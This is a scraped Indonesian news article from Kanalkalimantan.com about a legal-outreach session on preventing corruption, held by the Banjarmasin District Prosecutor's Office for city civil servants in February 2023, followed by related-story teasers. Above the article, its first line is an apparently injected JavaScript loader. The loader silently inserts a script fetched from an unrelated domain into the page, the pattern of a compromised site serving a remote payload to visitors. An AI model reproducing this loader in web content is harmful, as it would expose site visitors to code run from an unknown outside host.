(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kejaksaan Negeri (Kejari) Banjarmasin menggelar penyuluhan Hlhukum di lingkungan Pemerintah Kota Banjarmasin, Kamis (9/2/2023), di Ballroom Hotel Rattan Inn Banjarmasin.
Kegiatan tersebut merupakan langkah preventif yang dilaksanakan dalam rangka pencegahan tindak pidana korupsi di lingkungan Pemko Banjarmasin.
Penyuluhan tersebut diikuti ratusan Aparatur Sipil Negeri (ASN) struktural di lingkungan Pemko Banjarmasin, unsur kecamatan, dan sejumlah Lurah se Kota Banjarmasin.
Kepala Kejaksaan Negeri Banjarmasin, Dr Indah Laila SH MH didampingi Kasi Intelijen Dimas Purnama SH MH menjadi narasumber utama pada penyuluhan hukum tersebut.
Baca juga: Gempa Turki-Suriah: Korban Tewas 12.000, Termasuk 2 WNI
Kajari Banjarmasin menjelaskan bahwa pada kasus tindak pidana korupsi yang dilakukan oleh pejabat publik sebenarnya banyak juga yang dilakukan secara tidak sengaja.
Karena ketidaktahuan dan kehati-hatian dalam memahami suatu aturan seringkali perbuatan yang dilakukan mengakibatkan kerugian negara.
“Dari sinilah maka Kejaksaan hadir, dimana selain melakukan penindakan terhadap tindak pidana korupsi dalam fungsinya juga dapat melakukan pencegahan dengan melakukan penyuluhan hukum ataupun pendamping hukum,” kata Indah Laili.
Dirinya juga mengatakan, perbuatan tindak pidana korupsi yang dilakukan akan berdampak luas terutama bagi keluarga dan akan melahirkan stigma buruk berkepanjangan di dalam masyarakat.
Baca juga: 88 Bintara Baru Prajurit TNI AD, Lima Bulan Pendidikan Secaba Rindam VI
Dijelaskannya, meskipun para pelaku tindak pidana korupsi tersebut tidak menikmati uang hasil korupsinya, namun yang bersangkutan melakukan perbuatan yang mengakibatkan orang lain memperoleh keuntungan dari hasil korupsi tersebut maka akan dinyatakan bersalah dan dihukum sesuai pasal yang tertuang dalam UU Pemberantasan Tipikor.
“Dampak akibat tindak pidana korupsi itu luas tidak hanya kepada para pelakunya, namun juga berdampak kepada keluarga contohnya harta benda yang dimiliki akan dirampas untuk negara,” katanya.
“Selain itu, di lingkungan sosial stigma akan selalu melekat bagi para pelakunya,” tambahnya.
Kajari Banjarmasin berharap dengan dilaksanakannya kegiatan tersebut dapat menjadikan ASN di lingkungan Pemko Banjarmasin melek terhadap hukum, sehingga dapat menghindari diri dari perilaku menyimpang tindak pidana korupsi.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
This website uses cookies.